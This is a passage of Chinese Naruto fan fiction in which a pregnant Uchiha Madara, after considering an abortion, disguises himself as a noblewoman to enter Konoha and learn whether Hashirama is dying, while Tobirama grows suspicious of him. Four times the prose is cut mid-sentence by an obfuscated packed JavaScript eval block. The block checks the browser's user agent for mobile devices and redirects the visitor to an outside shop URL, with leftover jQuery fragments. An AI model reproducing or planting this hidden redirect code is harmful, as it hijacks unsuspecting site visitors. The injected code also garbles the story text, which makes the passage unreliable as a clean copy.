在孕激素的强烈作用下,宇智波斑想象着,这个此时还在肚子里与自己活泼泼地打着招呼的孩子即将化为模糊不清的一团死肉,一滩血水,心便像被许多针戳一样的刺痛着,根本无法控制自己的眼泪。 孕激素将他的脑子彻底搞坏了,竟然让这个昔日里杀戮成性的修罗恶徒生出柔软母性。 斑冷酷的理智告诉他,他不能留下这个孩子,因为那将成为他理想征途中的巨大拖累;但每次喝完堕胎药后那股强烈的痛苦感不止来源于肚腹,也来自斑的心——他爱着自己腹中孕育着的,他与千手柱间的孩子。 宇智波斑痛恨着自己意志的动摇。 无论如何,他不该生下这个孩子。 老医师的询问打断了他痛苦的思想交锋:“你为什么要打掉这个孩子呢?” 宇智波斑从剧烈的阵痛中缓过神,脸上带着苍白的嘲笑:“你倒是不奇怪男人会怀孕?男人怀孕产子本来就是极为荒谬的一件事。” “天下之大,无奇不有。这没有什么好荒谬的,”老医师捋了捋胡子,“单我就见过,十几个灵魂共同居住于一具身体(人格分裂);有人在被马车撞到后忘了怎么说家乡话,反说起了另一个国家的方言(外国口音综合征);也有孩子从生下来就同时具备着男女两性的特征(双性人)……天底下奇怪的事情多着呢,男人怀孕又不是什么大逆不道的事。” 老医师正了正色,严肃道:“所以我问你,是想确认你是否是出于自己本心而打掉这个孩子。如果只是害怕世人异样的眼光而流掉这个孩子,我担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128176|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你日后会深深地感到后悔。” 顿了顿,老医师补充:“如果你真正地、出于本心地不愿意有这个孩子,我会根据你的身体状况调配出更适合的药方,也会在后续尽量调理好你的身体。” 榻上的男人闭上眼,手无意地抚着肚子。 “我不能要这个孩子。”好一会儿,他才开口,声音因为极度的痛苦而沙哑着,“是的,我爱这个孩子,所以日后也一定会后悔。但我不能留下ta,因为我有更重要的事情要完成,没办法给予孩子优渥的生活,而且……这样充满着黑暗与痛苦的世界,并不适合孩子成长。” 见此,老医师有些触景生情的伤感起来,喃喃道:“是啊,这个世道说不定不久后就要大乱起来,这个地方说不定也住不久了,大家都要在战火中颠沛流离……你决定不要孩子,也许是对的。” 斑见这位老医师神色凝重,不似随口之言,倒像知道什么内幕似的:“虽然不少小国仍然有些局部的战乱,但霜之国目前也还算政局比较稳定的国家了,你为什么要这样说?” 老医师表情犹豫,斑于是强忍着身体的痛苦反应,调动着身体内紊乱的查克拉给他又加重了一点幻术暗示。 “因为,”老医师长长地叹息,突然觉得就是说出来也无妨,反正不久后大家都会知道,不如让面前这位可怜的孕夫知道了情况早做准备,“木叶的那位影怕是活不久了。” 老医师没有注意榻上男人骤然握紧以至于渗出血的手,顾自说着。 “这世间的和平本就是靠着他与那位忍界修罗的强大武力震慑着,但你也知道,那位修罗已经死于他的手中了。我前段日子离开便是去了木叶行医,见到了那位火影大人,恐怕……” 他叹着气,没有再说了。 宇智波斑感觉自己身体的血突然凝固了。 耳畔嗡嗡地回荡着“木叶的那位影怕是活不久了”的声音,眩晕与窒息的感觉一阵一阵地涌上来,他又开始分不清身体与心脏的痛楚,只觉得自己坠入了永无止境的伤痛之中。 这位冷酷的宇智波罕见地产生了自己分辨不清的幻觉。 他时而觉得自己还是那个南贺川扔着水漂的少年,手中刻着“有圈套快逃”的石头却无论如何也扔不到对岸人的手中;时而又紧紧抱着死去胞弟的尸体,曾属于怀中尸体的眼睛在他的眼眶里流着血红的泪;时而又在木叶刚成立的那段时间,站在雕刻着柱间头像的颜岩下,被雕刻的对象正站在不远处的前方微笑着看他。 斑用几乎要吞噬对方的眼神贪婪地凝望着他,忽然的,他大步上前,行动间带起簌簌风声,出于一种骤然失去了又重新得到的激烈情感将柱间紧紧拥入怀中。 不,不够,这样不够! 血脉相连的胞弟就是这样死于他的怀中。 在近乎癫狂的情绪中他将柱间吞入腹中。 宇智波斑抚摸着肚子,怀着狂妄疯癫的喜悦大笑。 你不会离开,也不会死去。 现在,你是我的了。 但是。 一滩血水,里面浸泡着一团模糊的死肉。 强烈的不祥预感击中了他。 斑颤抖着向那死肉伸出手。 那模糊的死去的肉蠕动着,露出小小的,血淋淋的,柱间的脸。 宇智波斑从幻觉中倏然惊醒,剧烈地喘息,手应激地抚上肚子。 还好,依然如往常般圆润。 然而还没等他将心彻底放下,就敏锐地发现但相比于之前健康活泼的动静,这次来自腹中婴儿的胎动极其虚弱。 斑的心也被那虚弱的胎动绞成模糊的、血淋淋的一团肉。 柱间。 斑垂下的眼睫在卧蚕处投出一片阴翳的影子。 也许,他应该回木叶去看看。 6.第六章 阴暗逼仄的驾笼里,美人身着西阵织的乌羽色留袖,逶迤的下摆用华美的金银丝绣出的唐花双鸟长斑纹,日光偶尔能在颠簸路程中穿过驾笼帘栊,金色光芒映照得那由金银线织就的锦绣花纹灿烂生辉,破开驾笼的幽暗空气—— 在那么璀璨华美又幽微晦涩的一霎,侍女红绪正好抬起眼望向话驾笼,在被荡开的帘子里看到了美人被身上金银丝线反射的潋滟日光所映照到的面容。 她心头一震。 然而也只过了一刹那,帘栊复又合上,美人那宝色辉煌的美艳被妥当地安置于绘有贵族家纹的华丽驾笼之中。 真不愧是那位若殿様顶着自己未来若奥様不满也要执意要纳为侧室的乡野美人——红绪暗自慨叹,然而不知为何,她心中亦涌动着对那美人的莫名恐惧。 身为若殿様身旁的侍女,她其实出席过不少重要场合,见过不少涂脂抹粉、仪态端庄的贵族美人:浓密的乌发盘成峨峨的云鬓,低眉柔目,眼波流转之间娇怯柔美,被鲜艳华美的层层织物压得苍白柔弱。 然而因为这些贵族美人又确实从心底里知道她的出身是高贵的,她的身姿容貌是值得被爱的,因而那被严格教育出的柔顺中带着矜傲,那苍白柔弱中又带着自怜与幽怨——平心而论,她们是美的,而且美得极其安全,令人放心——像偶人节摆出来的那些精致华贵的雏人形,喜欢的时候就摆出来彰显主人家的豪奢,不喜欢了,就是随手锁进幽暗的和室里也非常妥帖,绝不会出什么乱子。 可那位驾笼中这位乡野出身的美人可完全没有如此的安全放心,她的美总是带着令人心头突突的危险之感,也并不那么安分——瞧瞧吧,为了这样一个卑微的乡野女子,若殿様与他的母亲争吵了一架,还得罪了自己出身高贵的未来若奥様,最后带着这位罪魁祸首的美人从月之国跑到火之国说是要来木叶村谈一谈合作事宜——其实就是借着外出公务的名头赌气离家出走,顺便与新收的这位美人四处游玩。 简直是个危险的祸害,底下的侍者们都这样暗暗地想,替那位尊贵的若殿様愤愤不平。 ——即便尊贵的若殿様如此讨好于她,却也未见这位乡野美人将好颜色与他,她总是冷冰冰的,傲慢骄横,时而做出莫名的苦闷忧虑之态,时而又极跋扈地催促他们快些赶路。 但若殿様却说,她是怀了孩子,之前又受了母亲的刁难磨折,所以情绪才这样的恶劣,她从前其实是非常温柔的一位美人。 当然这完全是这位殿下一厢情愿的错觉,如果他真正知道了这位所谓的乡野美人身份,恐怕就不会得出这般执迷不悟的结论,因为这位所谓乡野出身的美人真正身份其实是—— 宇智波斑。 一个在忍界掀起腥风血雨、以至于被冠以修罗之名的男人。 至于为什么会变成如今这般诡异的局面,时间还要倒回一周之前。 宇智波斑从老医师道山博口中得知了千手柱间病重,即将不久于人世的消息后便下定决心要回木叶探一探真假。 他打心眼里不是很愿意相信这个消息:柱间是世间罕见的木遁仙人体,他们从前以命相搏的那些日子里,不说那些柱间能无印自愈的普通伤害,无论斑如何费尽心机、使出浑身解数地在柱间身上留下在其他人身上足以毙命的伤害,过不了一两日,他便又会活蹦乱跳地出现在战场激情大喊:“ma!da!ra!!!” ——面对这样恢复力惊人的纯正仙人之体,这世上难道还会有什么伤病能够将这位正值盛年的忍者之神击溃吗? 然而与此同时,宇智波斑心中的确又惴惴不安:木叶那边的动静的确不太对劲。 近来木叶的警卫防备一再增加,戒备森严,严格控制着进出人员的流动,也就谈不上有什么特殊的重要情报流出。斑还从地下换金所的最近情报里分析出,木叶的大量精英忍者暂停了任务,蛰伏于村子之中。 这也是极不正常现象,这些不再做任务的忍者多半还隶属于封印班—— 难道是在镇压九尾? 然而仅柱间一人的仙法明神门就足以压制得那畜生动弹不得。 所以柱间的确出了些问题,以至于无法长时间使用仙法镇压九尾,只是那问题究竟有多严重还有待商榷。 宇智波斑出于他天性的果断做下决定:他要亲自去木叶一趟。 尽管这个决定实在危险重重:斑决不能暴露自己的存在,不然之前的一切努力都将化作乌有,月之眼的计划也将会毁于一旦。 他必须要极其之小心,在木叶结界翻新、警卫力量大增、把守严密的外部环境里、在出色的感知忍者千手扉间的眼皮底下神不知鬼不觉地探知到柱间的真实状况。 即使放到宇智波斑状态绝佳的鼎盛时期这样做也颇有难度,更何况宇智波斑如今怀着孩子,吃了毒性激烈的堕胎药,内里五痨七伤的,元气大损,实在是身心交瘁,难以保证此趟木叶之行的安全。 然而老医师的一番话给了斑灵感。 “如果你一定要生下孩子,为避开世人异样的眼光也可以先扮做一段时间的女子,等生产后换个没人认识的新地方,声称孩子母亲已经去世,作为单身父亲养着这孩子就可以了。” 没错,他可以扮做贵族女性进入木叶——这样所受到的盘查力度最小,也最容易混进去。 木叶不敢搜查太过,许多见外人都要以桧扇掩面的贵族女性不能忍受太严格的检查,就连底下人多看两眼在贵族文化中都是对她们的严重冒犯,这么做很容易得罪了贵族阶级。 而且,谁会怀疑这些弱柳扶风的贵族女性会干出些什么危险的事情呢? 虽然这一行动仍然是极其冒险的:忍界两大著名瞳术家族——写轮眼与白眼都在木叶。 斑不能简单地使用变身术改变容貌身形——变身术的查克拉变动太容易被写轮眼和白眼发现了,就连一些稍微敏锐的感知忍者也瞒不过去。 好在贵族女性习惯涂脂抹粉的装扮自己:头发用了特殊药水暂时十分勉强的变成微卷的黑色长发,将自己原本的眉毛刮掉,在额头高处重新描眉,厚重白粉再往脸上一扑,除了尾端抹了殷红胭脂的眼睛,基本也就看不出什么本人的真实样貌了。 况且宇智波斑十分肯定基本没人真正看过他的眼睛长什么样子——说到底,只要不是一心求死,谁会去仔细看一个宇智波—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157629|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是这位宇智波修罗的眼睛呢? 至于那些一心求死的——除了柱间——他们当然已经死了,死人又不会跳出来说天呐那双眼睛实在长得太像宇智波斑啦! 实际上不止是没人敢看斑的眼睛,甚至许多人就连他的容貌也不曾仔细看过:这一半要归功于常年遮挡着斑半边脸的额发,另一半则在于他气势太盛,往往在那一站,你就知道他是宇智波斑,根本不需要仔细去看——当然主要是也不太敢仔细看。 至于身形——贵族女性所穿的华服层层叠叠地穿下来压根看不出什么身形,但斑还是十分小心地在衣服内衬覆上了许多秘术封印,封住自己查克拉的同时尽可能地伪装成女性的身体。 这是出于宇智波族中的高级伪装秘术,斑又在其中做了许多改良,绝不会留下如变身术那般的查克拉波动的痕迹,斑十分确定能骗过一般宇智波族人的写轮眼,但不是很能肯定是否能欺骗过白眼——他并没有条件做相关试验。 对此,宇智波斑也做了失败预案:要是被白眼发现的话干脆伪装成其他忍村的忍者强行闯入木叶,探查情报,制造混乱,再趁乱逃走。 不过那是较次的选择,最好的情况是木叶完全没有察觉到任何异样。 斑还大量使用了胞弟泉奈生前曾发明的一种名为“无名”的暗示幻术:一般的幻术是用查克拉扰乱目标五感,从而在目标对象脑海里制造幻觉,然而也很容易被其他人发现施术者的幻术查克拉,从外部帮助目标从幻术中脱身;这种只有兄弟两人会的幻术却并非如此,它只用查克拉做前期暗示与引导,之后人们脑子里就会自动认为他们灌输进去的东西是真的,不需要查克拉持续干扰,还会自己自动弥补不合理之处——就像之前老医师认为是自己老了才记不住斑那样,而因为没有查克拉持续干扰,外人更是无法看出他中了幻术。 无名之术在于其改变于无声无形无色,所以这个幻术干脆叫无名吧!——胞弟泉奈孩子气的这样取着名。 不过无名幻术鸡肋在于它需要合适的宁静场合才能施展,而且不能脱离事实太多以至于本人察觉到古怪不对劲,对意志顽强之徒也效果甚微,所以战场上根本没什么卵用。 但对付未经相关抵抗训练的普通人却正好合适。 之后的事情更是十分顺理成章:斑用该幻术迷惑了月之国的大名儿子,让这位到处沾花惹草、风流成性的多情贵公子相信她是之前与他有过一夜露水情缘后怀了他孩子的女人,并极力暗示他要带着自己去一趟火之国木叶村——当然,斑并没有直接要求他这样做,表面上,木叶之旅是这位月之国的若殿様主动提出的。 而现在——驾笼在火之国南贺川附近的关所处停下,月之国的这只护送若殿様的队伍熟练地将相关身份证明递上去审查,鉴于他们这一行人是他国贵族,还得到了加急处理,很快便通过放行了。 帘栊外熟悉的景色闪过,驾笼中的美人出神地攥着华贵的冰凉衣袖。 斑知道,这道关卡过后的下一站,便是有着忍者之神初代目火影所在的木叶忍村的检查。 柱间。 驾笼里的美人闭上眼,从心底里发出滚烫的叹息。 7.第七章 入冬的时节,空气里有着寒冷的萧索,当千手柱间尚未获得忍者之神的美誉,仍然是父亲佛间口中“麻烦的小鬼头”的时候,他是很喜欢这个季节的。 这样说来似乎比较反直觉,因为人们大多会以为身为木遁使的千手柱间应该会更喜欢草木生发、欣欣向荣的春季,发荣滋长、如火如荼的夏季,亦或者穰穰满家、五谷丰熟的秋季——总之,就像木遁给人的那种勃勃生机,万物竞发的感觉。 然而那不过是木遁使留与世人带来的刻板印象。还是被父亲口中嗔嫌着的麻烦小鬼头柱间欢喜冬季的原因实际上非常简单朴实:这一冰天雪地的季节里贵族不再频繁颁发任务,各大忍族也不再频繁发生战斗,转入暂时的休养生息阶段——无论是贵族忍者还是平民百姓,大家都要准备过年了。 大过年的,打打杀杀的多不吉利啊。 严寒的天气仿佛将人类心里那股子火焰般躁动不安的心一下子浇熄了,冻灭了,只剩下对抗寒冷的最朴素生存欲望。 动物们忙着抢在最寒冷的天气之前在自己的洞穴里多储存粮食,人们也开始采买年货,大扫除,布置新春装饰,参加冬日祭典。 这也是柱间记忆中家人亲友难得能团聚在一起吃一顿丰盛的年夜饭的时候:平日里作为忍者的千手们都各有任务,很少能这样悠闲的坐在一起吃饭聊天。 于是,在幼年的木遁使心里总是对这样萧索寒冷的天气模模糊糊的留有一种喜悦团聚的丰足心情。 而且,他的挚友宇智波斑也诞生于冬季。 冬月廿四日,传说中西方一位圣人诞生的前夕,又名平安夜。 柱间读到海外舶来的番邦故事发现这一点时还曾兴致勃勃地跑去告诉斑:“斑诞生于那位异域圣人降生的前一晚。算命的大师都说人诞生的日子非常重要,甚至能从中看出一个人的命运——斑诞生于这样特殊的日子,说不定也是特别的命运象征哦!” 彼时正是两族初联盟的日子,一大清早就被亢奋过度的挚友打扰的宇智波族长正拿着生肉喂着他饲养的鹰,闻言侧目望向柱间,他的神情告诉柱间他是早已知道这位与自己生日有着关联的异域神子的故事。 作为母亲心爱的孩子,斑出生时宇智波族长夫人就曾找人算过他的命运。一位四处游历、博学多识的流浪者告诉了他母亲这舶来的故事,并说诞生于平安夜的这个孩子同样是神子转世,是有着强烈的弥赛亚、情结的时代引领者,然而他注定并非真正的弥赛亚——正如这孩子出生的时日那样,终究差了那么一点说不清道不明的东西。 不过,这位一向傲慢狂妄的宇智波族长从来不肯做那被命运安排的棋子,也根本不信那位流浪者的所做的预言:婴儿出生的年月时辰竟然能决定一个人的性情与命运,这一说法难道不荒谬可笑吗? 然而斑看到柱间那亮晶晶的眼神,顿了一顿,将口中那些讽刺命运的刻薄之语咽了回去,懒洋洋地敷衍:“特别的命运象征?也许吧。圣人诞生的前夕,伯利恒之星闪耀着的夜晚,等待着那位真正的圣人降临——” 他看着柱间,倏而一笑:“我是在等待你的降临呢,圣人。” 斑话音刚落,就见吃饱了的鹰从主人的臂膊上展开翅膀,清越地长啸着,做起飞的准备。 并不相信命运之说的斑显然只将这话做挚友之间的打趣之语,见鹰振翅飞上高空便仰着头望他的鹰去了,但柱间那一刻却在冬日清晨阳光下斑那一笑里怦然心动,确信此时冥冥之中的确有一种真正的宿命将两人联系在一起。 他们注定是要相遇的。 那年的冬季,在他们共同创建的、千手与宇智波联合的村子里,柱间延续着他童年时丰足喜悦的心情,与上天赐予他的启示、命运指引之人宇智波斑一起度过了一个美满团聚的新年。 * 真是奇怪——自己从前怎么不觉得冬天竟这样的寒气逼人、甚至令人骨寒毛竖? 柱间望向窗外枝条萧疏的树木,仅剩的那几片不肯落去、在冷风中战栗的枯黄叶片的凋零景象在他心头引起隐隐的怅惘之情——这么快已经到了终末的时节了么? 童年那种盼望冬日年节的丰足喜悦心情陌生得像一个遥远模糊的梦,柱间望着那萧疏的树木才迟钝地察觉:这一年的冬季到了。 他叹息,叹息声里有着窗外那树木同样的萧条衰败。 柱间转回头,强撑着精神看向手中文件,尽管胸腔里爆发着一阵迅疾的咳嗽,视线逐渐模糊不清,执笔的手不受控制地颤抖,但柱间依然坚持着工作,不愿意停下来。 愈是在这种痛苦的时候,千手柱间愈是有一种格外的紧迫之感:自己时日无多了,但木叶——这个他与斑创建的忍村,还不能失去它的初代目火影。 门墙之外,千手扉间本想敲门进去禀告兄长关于月之国若殿様到访木叶的消息,但思索再三后还是决定暂时不用这件事叨扰柱间。 近段时间以来,柱间简直勤奋得可怕,每日埋首于案牍公务之中,甚至连之前放木分身在火影室本体偷偷跑出去潇洒的躲懒行为也彻底绝迹了。 现在扉间倒宁愿他躲懒,就是去一两趟赌场也无所谓。但是,不——兄长自那件事情以后仿佛完全摒弃了自己作为人的情感,愈发向着人们所希冀的伟大火影形象转变。 表面一切都似乎在好转。然而,这看似美好一切的背后其实是以柱间的生命力为代价的。 在那一战后,柱间肉、体所受到的伤害早已在精心的医治下痊愈,康复后的柱间本人甚至还主动要求处理工作。 起初所有人都以为这是初代目火影病情好转的象征,然而接下来柱间身体的衰败却完全出乎了众人的意料——完全找不到病灶,一切迹象都表明他的身体器官完整康健,但他依然一日日的衰败下去,形销骨立,还经常陷入原因不明的昏迷,有好几次如果不是救治及时,说不定这位木叶的火影就已经陷入永恒的睡眠之中了。 但每次醒来的时候,总不见他抱怨身体疼痛,总是微笑,礼貌地问道:“今天有什么工作吗?” 作为亲兄弟的扉间本来是不准他在这样的情况下继续工作的,然而柱间如果不工作,则会陷入更为频繁的昏迷之中。 一位名为道山博的外地游医在诊治过后,劝扉间还是适量让初代目做一些工作。 他说初代目火影处于一种可怕的情感创伤之中,需要一些东西来填满他的思想和时间,麻醉自己痛苦的神经,即使疲劳也没关系,甚至越疲劳越不能休息——因为他必须要从工作中寻找到价值与意义,只有他相信自己的工作至关重要才能够继续支撑下去。 “但兄长总得要停下来休息,”扉间皱着眉,“他目前的身体可撑不起如此疲劳的工作。” “那位大人绝不能停下。”那位有名的游医摇头,捋着胡子叹息:“这种情况我曾经见过,在那新丧了心爱妻子的痴情男人身上。” ——他的这个举例令千手扉间眉头狠狠一跳。 但游医没有察觉,顾自说道:“一旦停下来,他的神经就彻底崩溃了。” 也许是见扉间脸色实在难看,游医终于升起了几分体贴病人亲属的心:“也许,当他找到了新的人生意义,或者爱上了新的人,患者这种虚无的情感空洞就会弥合,不药而愈。” 虽然这概率小到几乎没有。 游医暗暗地想。毕竟会为了逝者如此悲痛的人基本很难再有心去爱其他人了——如果患者是那种轻易就能爱上别人的人,那他根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183431|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会得这种绝症。 用那丧了妻子的痴情男人的话说就是灵魂已经被亡者撕扯走了一半,心灵也跟随着爱人灵魂进入了黄泉国度,是无论如何也无法弥补的哀痛,世间再不会有与他共鸣的灵魂。 但这好歹也给了扉间一点希望,虽然这希望也渺茫。 不过在这渺茫的希望之前,扉间也尽可能地延续着兄长的生命,所有人都祈祷着奇迹降临于初代目火影身上。 所以还是不要麻烦兄长了。 扉间心想,那些贵族麻烦得要命,面对比他们自己地位低下的平民或忍者时嘴巴又刻毒,说不定还要好奇地问问关于已死的宇智波斑的那场大战——本就有心病的兄长万一受了刺激病情加重就得不偿失了。 月之国虽然不过是撮尔小国,但来的人是大名的嗣子、不出意外的话应该是月之国下一任国君,木叶忍村也决不能慢待,失了礼仪风度——身为火影的兄长病重不能亲自接见,作为他的胞弟,木叶的二把手千手扉间决定亲自去接待对方。 接到对方已经到达木叶的消息,他严整地穿好正装,带着一行人打算前去迎接—— 作为感知忍者,在前去的路途中扉间非常敏锐地听到了街上时不时传来的激动言语。 这段时间里因为柱间病重,村内加强了巡逻与警备,严格控制着进出口人群,虽然没有明面上没透露过什么大事,但想来气氛是有些压抑的,突如其来的远方贵族到访给了大家一点茶余饭后新鲜刺激的谈资—— 有人早已在村口远远看过了那月之国的队伍,说那仪仗是如何训练有素,那位若殿様是如何谈吐有致,又说那掀开驾笼帘栊走出的十二单美人是如何惊艳绝伦:那一刻所有人都屏住了呼吸,只痴痴地看她惊人的美貌在日光之下熠熠恒耀——真不愧是尊贵的公主殿下呀! 另一个人则嬉笑着抢过话头,说那美人可不是什么出身高贵的贵女,她是出自乡野里的绝世美人,月之国的若殿様对这位乡野美人一见倾心,要娶她为妻,甚至不惜背离母亲御台所的期望,带着这位美人私奔——瞧她那模样,未来俨然是位祸国殃民的妖姬! ……自古以来,关于宫廷的艳情风月故事总是令人津津乐道,尤其是关于传奇的美人,如果不是出身高贵、作为勇士奖赏存在的公主,那么就是祸国殃民的红颜祸水,迷惑得国主不理朝政,民不聊生——然而事情真相究竟如何,人们也并不如何关心,他们要的只是传奇的故事,用来消除午饭后的食困之症。 千手扉间自然是不会被这些风言风语左右。 作为千手族长的儿子,他自小就见过不少贵族以及贵族女性,知道他们也一般的贪嗔怒怨,并不认为贵族就是话本传奇故事里的人物。 但当扉间带着手下匆匆赶到现场,只是晃眼瞥见那位流言中的美人,他心跳便倏然停止,脑子还没彻底反应过来,冷汗便汹涌了上来。 身着十二单的美人对着木叶这一行人轻柔的微笑,然而高傲冷淡的微笑有着平静水面下那暗流的漩涡的危险意味,仿佛一不注意便会被卷走灵魂与性命。 ——的确是传奇才有的美人。那危险的轻笑也极像话本的一幕,是那种情节富有曲折刺激的转点,你看她那样笑着,无意识地就会屏住呼吸,心想:接下来的情节发展恐怕会大出人们的意料。 扉间在一股轻微的晕眩中定了定神:其实这位美人的容貌身姿、甚至行动举止并不肖似那人。 然而,她只是站在那里,千手扉间就感觉自己的宇智波精神创伤又复发了。 幸好柱间没来。流着冷汗的扉间无端端地想着,同时怀疑地眯细眼睛: 这位传闻中引得月之国若殿様钟情的所谓乡野美人—— 究竟是谁? 8.第八章 冬季难得风日晴和的天气,牛乳般醇浓柔和的冬日阳光在天地之间倾泻流淌,一时之间木叶的街衢巷陌长满了出来晒暖的男女老少,大家懒洋洋的,怀着心甜意洽的态度闲适地谈论着最近的八卦。 也有人趁着冬季里难得的阳光晾晒着衣裳与被褥,于是被褥被阳光晒得蓬松温暖,弥漫着烘烤过的柑橘、玫瑰与小豆蔻的温暖香味,可想而知,他们也将把这散发着太阳香气的温暖带入之后夜晚的美梦中。 这样美好的天气里,人们心情愉快,出现什么东西都是美好的。 远方而来的他国贵族与美人,富有传奇性故事在人们口中流传,有人感慨赞美着这跨越阶级鸿沟、违逆父母的旷世恋情,有人纯粹欣赏着那华贵威严的贵族仪仗与昳丽装扮下的国色天香的美人,有人高声讨论着月之国此行来木叶的商业目的与所表现出来的政治倾向…… 不同的人眼中的世界是迥然不同的。 正如在一种幽微的心理阴影下,扉间深深地吐息着那充溢着烘焙后的柑橘、玫瑰与小豆蔻的所谓太阳香气,只觉得自己吸入了太多的醛、酮、羧酸等紫外线反应的有机化合物,也许还带有些许微生物死亡、螨虫尸体的蛋白质烧焦后的味道——千手扉间有些反胃地想。 其实这不过是他自身情绪的迁怒:面前这个所谓的乡野美人身上似有若无的熟悉感带给他一种神经上的磨折,对于宇智波那种创伤似的痛苦发作起来,使得他今天格外的神经过敏。 宇智波斑已经死了,扉间告诉自己。 数月之前千手扉间同兄长一起收敛了他的尸体,确认过生命的体征已经完全在那位曾经令忍界震悚的修罗恶徒上彻底消失:他的心脏不再跳动,血液不再流淌,体温变得冰冷,曾经蕴藏着强大力量的身体因死亡而渐渐呈现出僵硬的特征。 然而,那位名字不可言说的修罗肉身虽陨,却并没有从如扉间所想的那样从兄长的生活渐渐消失,乃至于彻底绝迹。相反,宇智波的幽灵仿佛一直徘徊在木叶之上,纠缠着木叶的火影,嘲笑着自己与他曾经共同的理想,他对于柱间的影响力似乎在死亡后与日俱增,达到了超乎所有人预料的程度。 有时候,扉间会想也许不是在那人死亡后他的影响力才在柱间身上显现,而是他的影响太深以至于已经成为了千手柱间的一部分,只是在那人还活着的时候大家都没意识到这一点,而那人的死亡则是强行剥离了柱间身上的那一部分,于是人们才看见了伟大火影身上的残缺,看见了忍者之神的阿喀琉斯之踵。 宇智波斑已经死了,扉间告诉自己。 但是,他真的已经死去了吗? 白发的千手看着那恶徒的鬼魅附丽在那绝艳的皮囊上微笑,在响晴白日的温暖阳光下惊出一身冷汗。 除了最开始那一眼发自灵魂的震悚预警,千手扉间愈是想要在那身份成谜的乡野美人身上寻找出疑点,愈是发现她的无懈可击。 从事实上看,这位被月之国若殿様所爱慕看重、甜蜜地将其称之为“千夜吾爱”的乡野美人除去那几份令扉间心悸的熟悉之感,并没其他证据可证明她与那人的联系,其他忍者完全没有觉得这位容貌昳丽、疏离冷淡的美人与那位名震忍界、可止小儿夜啼的忍界修罗有什么相同之处。 而且在扉间来之前,这只来自月之国的贵族队伍就已经通过了宇智波警卫队的检查,确认了那位千夜夫人不过是位没有查克拉的普通柔弱女性,然而由于某种直觉般的警惕,扉间并不相信这个结论。 倒不是说他出于对宇智波这个氏族的厌恶就全盘否定着宇智波警卫队的忠诚与能力——虽然扉间确实对此有几分疑神疑鬼,然而这也是因为政治家多疑的通病。 对于此事,扉间只是觉得,如果真是他想象中的、曾经身为宇智波的族长的修罗,宇智波写轮眼最高级形态的拥有者,是一定有手段欺骗其族人的侦查手段的。 就像扉间身为感知忍者,也并没有发现这只月之国的贵族队伍有被幻术查克拉控制的迹象,那位若殿様的爱慕看上去也确实像发自真心而并非幻术产物——但那传说中的永恒万花镜写轮眼只有宇智波斑拥有,谁知道那双至高幻术眼能否做到这种令人无法察觉的程度呢? 写轮眼以幻术眼出名,虽然也有侦查洞悉的作用,但在这洞悉事物本质上却远不如能透视人体经脉的白眼。 千手扉间心底默默计划着,紧绷着神经,继续装作若无其事地与那位带着美人兴致勃勃要逛一逛第一忍村的月之国若殿様打着机锋,同时也不动声色地试探着那位千夜夫人。 迄今为止,她的言谈举止都仿佛与那修罗之徒相距甚远,虽然一样的高傲冷淡,但给人感觉却并没有那人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196227|149935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的锋芒毕露——也许是美丽柔弱的女人形象淡化了她的危险感,扉间这样分析着,但即便处于一种高度紧绷的质疑之中,相处下来他也不得不承认这位千夜夫人其实与宇智波斑并不相像。 她有着波动明显的情绪,会因为多走两步路而显现出苍白疲倦的神色——虽然她并不说,是敏锐的感知忍者扉间察觉出来的,发觉这一点时他实在诧异:虽然他厌恶斑,但还是承认那人的确是位世间难得的强大忍者,自然不会因为这区区两步路就露出如此疲惫之色。 但扉间转念又想:说不定是装的,也难为他竟然装得这么细致入微了,呵呵。 然而扉间的确亲眼见证过那人的死亡,死去的人真的会再次复生吗?难道不是自己这一天神经过敏,所以无论千夜夫人怎样的行为都会恶意地解读吗? 扉间甚至自己都受不了自己的敏感多疑了。 